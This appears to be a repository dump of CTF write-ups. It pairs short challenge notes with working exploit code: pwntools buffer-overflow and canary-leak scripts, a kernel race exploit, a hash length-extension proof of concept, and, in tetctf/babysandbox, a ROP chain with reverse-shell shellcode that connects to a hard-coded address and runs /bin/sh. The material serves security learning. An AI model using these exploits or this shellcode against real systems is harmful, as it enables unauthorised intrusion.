├── matesctf ├── KSMASH │ ├── Source │ │ ├── Module.symvers │ │ ├── modules.order │ │ ├── Makefile │ │ └── kmod.c │ ├── exploit.c │ ├── index.vi.md │ └── index.md ├── notebook │ ├── notebook │ ├── libc-2.27.so │ ├── nbe.py │ └── index.vi.md └── babyOVERFLOW │ ├── babyOVERFLOW │ ├── babyexp.py │ └── index.md ├── 35c3 └── pillow │ ├── common.h │ ├── shelld_client.defs │ ├── sandbox.sb │ ├── reloadservice.sh │ ├── Makefile │ ├── shelld.defs │ ├── exploit.c │ └── index.md ├── RITSEC-2018 ├── Gimme sum fud │ ├── flag.txt │ ├── pwn3 │ ├── pwn3exp.py │ ├── index.md │ └── .gdb_history ├── Freeze │ ├── main │ ├── main_ex.pyc │ ├── main_out.pyc │ ├── libpython2.7.so.1.0 │ ├── index.md │ └── main.py ├── ezpwn │ ├── ezpwn │ └── ezexp.py ├── The tangled web │ ├── fun.ritsec.zip │ └── index.md ├── Yet another HR Management Framework │ ├── pwn2 │ ├── libc.so.6 │ ├── index.md │ └── exploit.py └── Bucket-o-cash │ └── index.md ├── DEFCON26-Qual └── iPwnKit │ ├── Makefile │ ├── exploit.c │ └── index.md ├── tetctf ├── file │ ├── DS_Store │ └── poc.py ├── babyfirst │ ├── babyfirst │ ├── libc-2.27.so │ └── exploit.py ├── babysandbox │ ├── program │ ├── sandbox │ ├── shellcode.pyc │ ├── run.sh │ ├── poc.s │ ├── exploit.py │ ├── shellcode.py │ └── index.md └── iqtest2 │ └── poc.py ├── GCI └── CrackIt │ ├── 1stcrackme │ ├── 2ndcrackme │ ├── 3rdcrackme │ └── index.md ├── PlaidCTF2020 ├── exploit.zip ├── pwn.js ├── index.md └── plaidstore.diff ├── FBCTF19-Qual └── kpets │ ├── kpets.ko │ ├── Makefile │ ├── start_qemu.sh │ ├── exploit.c │ ├── pow.py │ └── index.md ├── CampCTF └── PwningKernelz │ ├── Makefile │ ├── asm.S │ ├── definitions.h │ ├── main.c │ └── index.md ├── AceBear2019 ├── babyrsa │ ├── proof-DucCombi.jpg │ ├── solver.py │ └── rsa.py └── house_of_loop │ ├── house_of_loop │ ├── libc-2.27.so │ ├── house_of_loop.i64 │ ├── house_of_loop_unstripped │ ├── exploit.py │ ├── house_of_loop.c │ ├── index.md │ └── libc_leak_trace.txt ├── WhiteHatGrandPrix06 └── Pwn01 │ ├── Makefile │ ├── scull-vuln │ ├── access_ok_version.h │ ├── scull_unload │ ├── Makefile │ ├── proc_ops_version.h │ ├── scull_load │ ├── scull.init │ └── scull.h │ ├── run.sh │ ├── guide.txt │ ├── exploit.c │ ├── index.md │ └── scull.h ├── .gitignore ├── misc └── KDB │ ├── KDB.vi.md │ └── KDB.md └── GGCTF21 ├── ctf.c └── exploit.c /matesctf/KSMASH/Source/Module.symvers: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /35c3/pillow/common.h: -------------------------------------------------------------------------------- 1 | typedef const char * string; 2 | -------------------------------------------------------------------------------- /RITSEC-2018/Gimme sum fud/flag.txt: -------------------------------------------------------------------------------- 1 | RITSEC{NOT_THE_REAL_FLAG} 2 | -------------------------------------------------------------------------------- /matesctf/KSMASH/Source/modules.order: -------------------------------------------------------------------------------- 1 | kernel//home/nyan/kmod.ko 2 | -------------------------------------------------------------------------------- /DEFCON26-Qual/iPwnKit/Makefile: -------------------------------------------------------------------------------- 1 | exploit: exploit.c 2 | gcc -framework IOKit exploit.c -o exploit 3 | -------------------------------------------------------------------------------- /tetctf/file/DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/tetctf/file/DS_Store -------------------------------------------------------------------------------- /GCI/CrackIt/1stcrackme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/GCI/CrackIt/1stcrackme -------------------------------------------------------------------------------- /GCI/CrackIt/2ndcrackme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/GCI/CrackIt/2ndcrackme -------------------------------------------------------------------------------- /GCI/CrackIt/3rdcrackme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/GCI/CrackIt/3rdcrackme -------------------------------------------------------------------------------- /PlaidCTF2020/exploit.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/PlaidCTF2020/exploit.zip -------------------------------------------------------------------------------- /RITSEC-2018/Freeze/main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/RITSEC-2018/Freeze/main -------------------------------------------------------------------------------- /RITSEC-2018/ezpwn/ezpwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/RITSEC-2018/ezpwn/ezpwn -------------------------------------------------------------------------------- /matesctf/notebook/notebook: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/matesctf/notebook/notebook -------------------------------------------------------------------------------- /tetctf/babyfirst/babyfirst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/tetctf/babyfirst/babyfirst -------------------------------------------------------------------------------- /tetctf/babysandbox/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/tetctf/babysandbox/program -------------------------------------------------------------------------------- /tetctf/babysandbox/sandbox: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/tetctf/babysandbox/sandbox -------------------------------------------------------------------------------- /FBCTF19-Qual/kpets/kpets.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/FBCTF19-Qual/kpets/kpets.ko -------------------------------------------------------------------------------- /tetctf/babyfirst/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/tetctf/babyfirst/libc-2.27.so -------------------------------------------------------------------------------- /RITSEC-2018/Freeze/main_ex.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/RITSEC-2018/Freeze/main_ex.pyc -------------------------------------------------------------------------------- /RITSEC-2018/Freeze/main_out.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/RITSEC-2018/Freeze/main_out.pyc -------------------------------------------------------------------------------- /RITSEC-2018/Gimme sum fud/pwn3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/RITSEC-2018/Gimme sum fud/pwn3 -------------------------------------------------------------------------------- /matesctf/notebook/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/matesctf/notebook/libc-2.27.so -------------------------------------------------------------------------------- /CampCTF/PwningKernelz/Makefile: -------------------------------------------------------------------------------- 1 | main: main.c definitions.h asm.S 2 | gcc -Wl,-pagezero_size -Wl,0 -m32 asm.S main.c -o main 3 | -------------------------------------------------------------------------------- /matesctf/babyOVERFLOW/babyOVERFLOW: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/matesctf/babyOVERFLOW/babyOVERFLOW -------------------------------------------------------------------------------- /tetctf/babysandbox/shellcode.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/tetctf/babysandbox/shellcode.pyc -------------------------------------------------------------------------------- /tetctf/babysandbox/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | 4 | exec 2>/dev/null 5 | timeout 60 /home/sandbox/sandbox /home/sandbox/program 6 | -------------------------------------------------------------------------------- /AceBear2019/babyrsa/proof-DucCombi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/AceBear2019/babyrsa/proof-DucCombi.jpg -------------------------------------------------------------------------------- /AceBear2019/house_of_loop/house_of_loop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/AceBear2019/house_of_loop/house_of_loop -------------------------------------------------------------------------------- /AceBear2019/house_of_loop/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/AceBear2019/house_of_loop/libc-2.27.so -------------------------------------------------------------------------------- /RITSEC-2018/Freeze/libpython2.7.so.1.0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/RITSEC-2018/Freeze/libpython2.7.so.1.0 -------------------------------------------------------------------------------- /AceBear2019/house_of_loop/house_of_loop.i64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/AceBear2019/house_of_loop/house_of_loop.i64 -------------------------------------------------------------------------------- /RITSEC-2018/The tangled web/fun.ritsec.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/RITSEC-2018/The tangled web/fun.ritsec.zip -------------------------------------------------------------------------------- /AceBear2019/house_of_loop/house_of_loop_unstripped: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/AceBear2019/house_of_loop/house_of_loop_unstripped -------------------------------------------------------------------------------- /RITSEC-2018/Yet another HR Management Framework/pwn2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/RITSEC-2018/Yet another HR Management Framework/pwn2 -------------------------------------------------------------------------------- /RITSEC-2018/ezpwn/ezexp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | io = remote("fun.ritsec.club", 8001) 3 | log.info(io.recv()) 4 | io.sendline(cyclic(28)+p64(1)) 5 | log.info(io.recv()) 6 | -------------------------------------------------------------------------------- /tetctf/file/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | 4 | from ds_store import DSStore 5 | 6 | with DSStore.open('DS_Store', 'r+') as d: 7 | print '\n'.join(map(str, list(d))) -------------------------------------------------------------------------------- /RITSEC-2018/Yet another HR Management Framework/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TrungNguyen1909/writeups/HEAD/RITSEC-2018/Yet another HR Management Framework/libc.so.6 -------------------------------------------------------------------------------- /CampCTF/PwningKernelz/asm.S: -------------------------------------------------------------------------------- 1 | .globl _prepIretq 2 | .globl _swapgs 3 | _swapgs: 4 | swapgs 5 | ret 6 | _prepIretq: 7 | cli 8 | mov $0x23, %ax 9 | mov %ax, %ds 10 | mov %ax, %es 11 | mov $0x0f, %ax 12 | mov $0, %ax 13 | mov %ax, %fs 14 | swapgs 15 | ret 16 | 17 | -------------------------------------------------------------------------------- /RITSEC-2018/Gimme sum fud/pwn3exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from time import sleep 3 | for i in range(20,5000): 4 | io = remote("fun.ritsec.club",1338) 5 | io.sendline(cyclic(751)) 6 | d = io.recv(timeout=2) 7 | if '_' in d: 8 | log.info(d) 9 | break 10 | else: 11 | io.close() 12 | 13 | 14 | -------------------------------------------------------------------------------- /FBCTF19-Qual/kpets/Makefile: -------------------------------------------------------------------------------- 1 | exploit: exploit.c 2 | gcc exploit.c -static -pthread -std=c11 -o ./exploit 3 | run: exploit initramfs/ 4 | cp ./exploit initramfs/bin/ 5 | cd initramfs;\ 6 | find . -print0 | cpio --null --create --verbose --format=newc > ../initramfs.cpio 7 | ./start_qemu.sh bzImage initramfs.cpio 8 | -------------------------------------------------------------------------------- /matesctf/KSMASH/Source/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := kmod.o 2 | 3 | KERNELDIR ?= /lib/modules/$(shell uname -r)/build 4 | PWD := $(shell pwd) 5 | 6 | all: default 7 | 8 | default: 9 | $(MAKE) -C $(KERNELDIR) M=$(PWD) modules 10 | 11 | clean: 12 | rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions 13 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all exploit install run 2 | all: exploit install run 3 | 4 | exploit: exploit.c scull.h 5 | gcc exploit.c -static -pthread -std=c11 -o exploit 6 | install: exploit 7 | sudo mount disk.img /mnt 8 | sudo cp exploit /mnt/root/exploit 9 | sudo umount /mnt 10 | run: install exploit 11 | ./run.sh 12 | -------------------------------------------------------------------------------- /35c3/pillow/shelld_client.defs: -------------------------------------------------------------------------------- 1 | subsystem shelld_client 133800; 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | import "common.h"; 8 | 9 | type string = c_string[*:4096]; 10 | 11 | routine shelld_client_notify(listener: mach_port_t; status: int; output: string); 12 | -------------------------------------------------------------------------------- /35c3/pillow/sandbox.sb: -------------------------------------------------------------------------------- 1 | (version 1) 2 | (deny default) 3 | 4 | (import "system.sb") 5 | 6 | (allow process-exec (literal (param "BINARY"))) 7 | (allow process-fork) 8 | 9 | (allow mach-lookup (global-name "net.saelo.shelld")) 10 | (allow mach-lookup (global-name "net.saelo.capsd")) 11 | (allow mach-lookup (global-name "net.saelo.capsd.xpc")) 12 | 13 | -------------------------------------------------------------------------------- /tetctf/babysandbox/poc.s: -------------------------------------------------------------------------------- 1 | section .data 2 | cmd db "/bin/sh",0 3 | section .text 4 | global _start 5 | _start: 6 | mov eax, 0x2 7 | lea rdi, [rel cmd] 8 | int 0x80 9 | cmp eax, 0 10 | je shell 11 | loop: 12 | test eax, eax 13 | jmp loop 14 | shell: 15 | lea ebx, [rel cmd] 16 | mov eax, 0xb 17 | xor ecx, ecx 18 | xor edx, edx 19 | int 0x80 20 | ret 21 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/scull-vuln/access_ok_version.h: -------------------------------------------------------------------------------- 1 | /* 2 | * @file access_ok_version.h 3 | * @date 10/13/2019 4 | * 5 | */ 6 | 7 | #include 8 | 9 | #if LINUX_VERSION_CODE < KERNEL_VERSION(5,0,0) 10 | #define access_ok_wrapper(type,arg,cmd) \ 11 | access_ok(type, arg, cmd) 12 | #else 13 | #define access_ok_wrapper(type,arg,cmd) \ 14 | access_ok(arg, cmd) 15 | #endif 16 | -------------------------------------------------------------------------------- /35c3/pillow/reloadservice.sh: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/bash 2 | 3 | sudo launchctl bootout system /System/Library/LaunchDaemons/net.saelo.capsd.plist 4 | sudo launchctl bootout system /System/Library/LaunchDaemons/net.saelo.shelld.plist 5 | 6 | sudo launchctl bootstrap system /System/Library/LaunchDaemons/net.saelo.capsd.plist 7 | sudo launchctl bootstrap system /System/Library/LaunchDaemons/net.saelo.shelld.plist 8 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | qemu-system-x86_64 -m 1G -s -smp 2 \ 4 | -kernel ./vmlinuz-5.0.0-61-generic \ 5 | -append "console=ttyS0 root=/dev/sda nokaslr nosmep nopti nosmap earlyprintk=serial" \ 6 | -drive file=./disk.img \ 7 | -net user,host=10.0.2.11,hostfwd=tcp:127.0.0.1:10023-:22 \ 8 | -serial mon:stdio \ 9 | -net nic,model=e1000 -nographic -snapshot 10 | -------------------------------------------------------------------------------- /RITSEC-2018/The tangled web/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "RITSEC18 The tangled web" 3 | date: 2018-11-22T21:30:28+07:00 4 | Tags: ["RITSEC", "CTF", "web"] 5 | Language: ["English"] 6 | --- 7 | 8 | `wget -r fun.ritsec.club:8007` 9 | 10 | You may find the file `Fl4gggg1337.html` is referenced or has already been download. The flag wasn't there, but it has link to `Stars.html`. 11 | 12 | Fetch that file, the base64 encoded string is the flag for this challenge. 13 | -------------------------------------------------------------------------------- /35c3/pillow/Makefile: -------------------------------------------------------------------------------- 1 | CC = clang 2 | .PHONY: run clean 3 | 4 | pillow_exploit: exploit.c shelld.defs shelld_client.defs 5 | mig shelld.defs 6 | mig shelld_client.defs 7 | gcc exploit.c shelldUser.c shelld_clientUser.c -o exploit 8 | 9 | clean: 10 | rm -f exploit shelld.h shelldServer.c shelldUser.c shelld_client.h shelld_clientServer.c shelld_clientUser.c 11 | 12 | run: pillow_exploit 13 | sandbox-exec -f sandbox.sb -DBINARY=$(shell pwd)/exploit ./exploit 14 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/scull-vuln/scull_unload: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | module="scull" 3 | device="scull" 4 | 5 | # invoke rmmod with all arguments we got 6 | rmmod $module $* || exit 1 7 | 8 | # Remove stale nodes 9 | 10 | rm -f /dev/${device} /dev/${device}[0-3] 11 | # rm -f /dev/${device}priv 12 | # rm -f /dev/${device}pipe /dev/${device}pipe[0-3] 13 | # rm -f /dev/${device}single 14 | # rm -f /dev/${device}uid 15 | # rm -f /dev/${device}wuid 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /35c3/pillow/shelld.defs: -------------------------------------------------------------------------------- 1 | #include 2 | import "common.h"; 3 | subsystem shelld 133700; 4 | type string = c_string[*:4096]; 5 | 6 | routine create_session(shelld: mach_port_t; in session: string); 7 | routine shell_exec(shelld: mach_port_t; in session: string; in cmd: string); 8 | routine register_completion_listener(shelld: mach_port_t; in session: string; listener: mach_port_t); 9 | routine unregister_completion_listener(shelld: mach_port_t; in session: string); 10 | -------------------------------------------------------------------------------- /tetctf/iqtest2/poc.py: -------------------------------------------------------------------------------- 1 | import hashpumpy 2 | import requests 3 | import base64 4 | # saved: seed=huhu&level=xiii => seed: huhu&level=xiii e530da3436a296a64c95851ba57e22b3 5 | for key_length in range(16,17): 6 | print(key_length) 7 | saved,msg = hashpumpy.hashpump("e530da3436a296a64c95851ba57e22b3", "huhu", "&level=xiii", key_length) 8 | cookies = {"hash":saved,"saved":base64.b64encode(b"seed="+msg).decode("utf-8")} 9 | response = requests.post("http://45.76.148.31:9004/",cookies=cookies,data={"level13_choice":"yes"}) 10 | print(response.text) 11 | -------------------------------------------------------------------------------- /FBCTF19-Qual/kpets/start_qemu.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Start the QEMU image with a timeout 4 | # $1 should be /path/to/bzImage 5 | # $2 should be /path/to/initramfs.cpio 6 | [ $# -lt 2 ] && { echo Usage: $0 /path/to/bzImage /path/to/initramfs.cpio; exit; } 7 | 8 | timeout --foreground 120 \ 9 | qemu-system-x86_64 \ 10 | -m 64M -smp 1,cores=1,threads=1 \ 11 | -cpu host \ 12 | --enable-kvm \ 13 | -kernel $1 \ 14 | -nographic \ 15 | -append "console=ttyS0 noapic quiet" \ 16 | -initrd $2 \ 17 | -monitor /dev/null \ 18 | 2>/dev/null 19 | 20 | -------------------------------------------------------------------------------- /RITSEC-2018/Gimme sum fud/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "RITSEC18 Gimme sum fud" 3 | date: 2018-11-22T21:30:28+07:00 4 | Tags: ["RITSEC", "CTF", "pwn","golang"] 5 | Language: ["English"] 6 | --- 7 | 8 | The binary loads the flag.txt to the memory and asks us to provide input. 9 | 10 | Interesting things is that it loads to the same memory segment with the input. 11 | 12 | Debugging locally, I found it at the offset 752 from the first input bytes. 13 | 14 | Running it multiple times on the server and at sometimes, the null bytes will be all-cleared and puts will print it all. 15 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/guide.txt: -------------------------------------------------------------------------------- 1 | 2 | Command line to start the virtual machine: 3 | ----------------- 4 | qemu-system-x86_64 -m 2G -smp 2 \ 5 | -kernel ./vmlinuz-5.0.0-61-generic \ 6 | -append "console=ttyS0 root=/dev/sda nokaslr nosmep nopti nosmap earlyprintk=serial" \ 7 | -drive file=./disk.img \ 8 | -net user,host=10.0.2.11,hostfwd=tcp:127.0.0.1:10023-:22 \ 9 | -net nic,model=e1000 -enable-kvm -nographic -snapshot 10 | ----------------- 11 | You can login as root without password. 12 | 13 | Install scull.ko: 14 | 1. Upload scull.ko and scull_load into the same folder 15 | 2. Cd into the folder and run ./scull_load -------------------------------------------------------------------------------- /RITSEC-2018/Freeze/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "RITSEC18 Freeze" 3 | date: 2018-11-22T21:30:28+07:00 4 | Tags: ["RITSEC", "CTF", "reversing","Python"] 5 | Language: ["English"] 6 | --- 7 | 8 | It's clearly a python compiled program since there is a libpython and also, when using decompiler, there was a function name `PyDontWriteByteCode` 9 | 10 | using 'pyi-archive-viewer' we can extract the main function. 11 | 12 | Append headers to the file 13 | 14 | ``` 15 | 16 | "\x03\xf3\x0d\x0a\xf1\x32\x75\x5a" 17 | 18 | ``` 19 | 20 | using uncompyle, we can get the main function. 21 | 22 | Change the key a little bit ±k\*360 and we will get the flag. 23 | 24 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # Created by https://www.gitignore.io/api/macos 3 | 4 | ### macOS ### 5 | # General 6 | .DS_Store 7 | .AppleDouble 8 | .LSOverride 9 | 10 | # Icon must end with two \r 11 | Icon 12 | 13 | # Thumbnails 14 | ._* 15 | 16 | # Files that might appear in the root of a volume 17 | .DocumentRevisions-V100 18 | .fseventsd 19 | .Spotlight-V100 20 | .TemporaryItems 21 | .Trashes 22 | .VolumeIcon.icns 23 | .com.apple.timemachine.donotpresent 24 | 25 | # Directories potentially created on remote AFP share 26 | .AppleDB 27 | .AppleDesktop 28 | Network Trash Folder 29 | Temporary Items 30 | .apdisk 31 | 32 | 33 | # End of https://www.gitignore.io/api/macos 34 | -------------------------------------------------------------------------------- /matesctf/babyOVERFLOW/babyexp.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from pwn import * 3 | import os 4 | context.arch = 'amd64' 5 | #context.aslr=True 6 | e = ELF("./babyOVERFLOW") 7 | if 'remote' in os.environ: 8 | io = remote('125.235.240.171',1337) 9 | else: 10 | io = process(e.path) 11 | gdb.attach(io) 12 | #Cookies leak 13 | #Cookies offset at 71 14 | #Since First bytes always 0x00. Lets overwrite that byte only so puts printit forus 15 | io.sendline("A"*72) 16 | log.info(io.recvline()) 17 | d = io.recvline(keepends=False) 18 | log.info(repr(d)) 19 | canary = "\x00"+d[:7] 20 | log.info(len(canary)) 21 | canary = u64(canary) 22 | log.info(hex(canary)) 23 | #Exploit 24 | raw_input("Exploit?") 25 | exploit = "\x00"+cyclic(71)+p64(canary)+"A"*8+p64(e.symbols['canyourunme']+4) 26 | io.sendline(exploit) 27 | #OK, l3t g3t 4 she11 28 | io.interactive() 29 | 30 | -------------------------------------------------------------------------------- /RITSEC-2018/Bucket-o-cash/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "RITSEC18 Bucket-o-cash" 3 | date: 2018-11-22T21:30:28+07:00 4 | Tags: ["RITSEC", "CTF", "forensics"] 5 | Language: ["English"] 6 | --- 7 | 8 | By cating and grepping the file, we know that there was a file named `/home/memes/flag.c` 9 | 10 | It's probably a program, so I searched for ./flag 11 | Just printing the line doesn't seem to work so I tried 12 | 13 | ``` 14 | 15 | cat memorydump | grep -A 10 -B 10 ./flag 16 | 17 | ``` 18 | 19 | I found an interesting base64-encoded string that is repeated multiple times. 20 | 21 | Decode it, the flag is yours. 22 | 23 | Also, later I realised that a great pattern to grep for challs like this are the base64-encoded of the beginning part of the flag format, which is constant. 24 | 25 | Such as 26 | 27 | ``` 28 | 29 | cat memorydump | grep UklUU0VDe 30 | 31 | ``` 32 | 33 | which works really well for this challs. 34 | -------------------------------------------------------------------------------- /FBCTF19-Qual/kpets/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | char* d; 9 | int* buf; 10 | int done = 0; 11 | void handler(){ 12 | puts("thread exited"); 13 | pthread_exit(0); 14 | } 15 | void racer(){ 16 | signal(SIGUSR1, handler); 17 | while(1){ 18 | buf[1] = 0x20; 19 | buf[1] = 1000; 20 | } 21 | pthread_exit(0); 22 | } 23 | int main() 24 | { 25 | int f = open("/dev/kpets",O_RDWR); 26 | d = calloc(10000,sizeof(char)); 27 | memset(d+16,0xaa,9000); 28 | d[0] = 0xc2; 29 | d[10] =0x20; 30 | buf = (int*)d; 31 | buf[10] = 0x40; 32 | write(f,d,1000); 33 | pthread_t t1; 34 | pthread_create(&t1,0,(void*)racer,0); 35 | for(int i=0;i<100;i++) 36 | write(f,d,10000); 37 | void *c = malloc(100); 38 | read(f,c,41); 39 | puts(c); 40 | pthread_kill(t1,SIGUSR1); 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /tetctf/babysandbox/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | import os 4 | from shellcode import rshell,shell 5 | if 'remote' in os.environ: 6 | io = remote("sandbox.chung96vn.cf", 1337) 7 | else: 8 | io = process(["./sandbox","./program"]) 9 | raw_input("Stage 1?") 10 | log.info("Sending first payload") 11 | rop = '' 12 | rop += p64(0x00000000004150d4)+p64(0x6b8ef0) #pop rax with stack_prot 13 | rop += p64(0x000000000044b856)+p64(7) # pop rdx 14 | rop += p64(0x000000000048cc92) # mov dword ptr [rax], edx; ret 15 | rop += p64(0x0000000000400686)+p64(0x6b8ab0) #pop rdi; libc_stack_end 16 | rop += p64(0x47f780) #_dl_make_stack_executable 17 | rop += p64(0x0000000000450524) #push rsp;ret 18 | payload=cyclic(56)+rop+rshell 19 | log.info("Payload length:%d"%len(payload)) 20 | assert(len(payload)<=0x100) 21 | io.send(payload) 22 | #sleep(1) 23 | log.info(io.recv()) 24 | log.info("Sending shellcode") 25 | io = server(1337,'10.0.2.15').next_connection() 26 | io.send("/bin/sh\0"+shell) 27 | io.interactive() 28 | -------------------------------------------------------------------------------- /tetctf/babysandbox/shellcode.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context.arch = 'amd64' 3 | shellcode = ''' 4 | xor rdx, rdx 5 | push 1 6 | pop rsi 7 | push 2 8 | pop rdi 9 | push 41 10 | pop rax 11 | syscall 12 | sub rsp, 8 13 | xchg rdi, rax 14 | loop: 15 | mov al, 33 16 | syscall 17 | dec rsi 18 | jns loop 19 | push 0x3d974c34 20 | pushw 0x612d 21 | pushw 2 22 | mov rsi, rsp 23 | mov al, 42 24 | mov rdx, 16 25 | syscall 26 | 27 | mov rax, 9 28 | mov rdi, 0x800000 29 | mov rsi, 0x1000 30 | mov rdx, 7 31 | mov r10, 34 32 | mov r8, -1 33 | syscall 34 | xor rax, rax 35 | xor rdi, rdi 36 | mov rsi, 0x800000 37 | mov rdx, 1000 38 | syscall 39 | add rsi, 8 40 | jmp rsi 41 | ''' 42 | rshell= asm(shellcode) 43 | shellcode = ''' 44 | mov eax, 0x2 45 | mov rdi, 0x800000 46 | int 0x80 47 | cmp eax, 0 48 | je shell 49 | loop: 50 | test eax, eax 51 | jmp loop 52 | shell: 53 | mov ebx, 0x800000 54 | mov eax, 0xb 55 | xor ecx, ecx 56 | xor edx, edx 57 | int 0x80 58 | ''' 59 | shell = asm(shellcode) 60 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/scull-vuln/Makefile: -------------------------------------------------------------------------------- 1 | # Comment/uncomment the following line to disable/enable debugging 2 | #DEBUG = y 3 | 4 | 5 | # Add your debugging flag (or not) to CFLAGS 6 | ifeq ($(DEBUG),y) 7 | DEBFLAGS = -O -g -DSCULL_DEBUG # "-O" is needed to expand inlines 8 | else 9 | DEBFLAGS = -O2 10 | endif 11 | 12 | #LDDINC=$(PWD)/../include 13 | LDDINC=$(PWD) 14 | 15 | EXTRA_CFLAGS += $(DEBFLAGS) 16 | EXTRA_CFLAGS += -I$(LDDINC) 17 | 18 | ifneq ($(KERNELRELEASE),) 19 | # call from kernel build system 20 | 21 | scull-objs := main.o 22 | 23 | obj-m := scull.o 24 | 25 | else 26 | 27 | KERNELDIR ?= /lib/modules/$(shell uname -r)/build 28 | PWD := $(shell pwd) 29 | 30 | modules: 31 | $(MAKE) -C $(KERNELDIR) M=$(PWD) modules 32 | 33 | endif 34 | 35 | 36 | 37 | clean: 38 | rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.mod .tmp_versions modules.order Module.symvers 39 | 40 | depend .depend dep: 41 | $(CC) $(EXTRA_CFLAGS) -M *.c > .depend 42 | 43 | 44 | ifeq (.depend,$(wildcard .depend)) 45 | include .depend 46 | endif 47 | -------------------------------------------------------------------------------- /RITSEC-2018/Freeze/main.py: -------------------------------------------------------------------------------- 1 | # uncompyle6 version 3.2.4 2 | # Python bytecode 2.7 (62211) 3 | # Decompiled from: Python 2.7.15+ (default, Aug 31 2018, 11:56:52) 4 | # [GCC 8.2.0] 5 | # Embedded file name: main.py 6 | # Compiled at: 2018-02-03 10:56:33 7 | import datetime, struct 8 | str = '\\x6a\\x71\\x61\\x62\\x7d\\x7a\\x4d\\x47\\x5f\\x55\\x59\\x5b\\x6e\\x4f\\x51\\x53\\x42\\x55\\x67\\x51\\x46\\x6e\\x55\\x40\\x69\\x43\\x45\\x48\\x5d\\x47\\x6e\\x4b\\x4c\\x5f\\x44\\x4d' 9 | 10 | def a(): 11 | time_res = datetime.datetime(1998, 1, 19, 0, 0).strftime('%s') 12 | time_now = datetime.datetime.now().strftime('%s') 13 | if time_now == time_res: 14 | print '\nHappy Birthday Hulto! :) \nHere is your flag:' 15 | b(time_res, str) 16 | print '\n' 17 | 18 | 19 | def b(key, flag): 20 | res = '' 21 | arr = flag.split('\\x')[1:] 22 | for i in range(0, len(arr)): 23 | res += chr(ord(key[i % len(key)]) ^ int(arr[i], 16)) 24 | 25 | print res 26 | 27 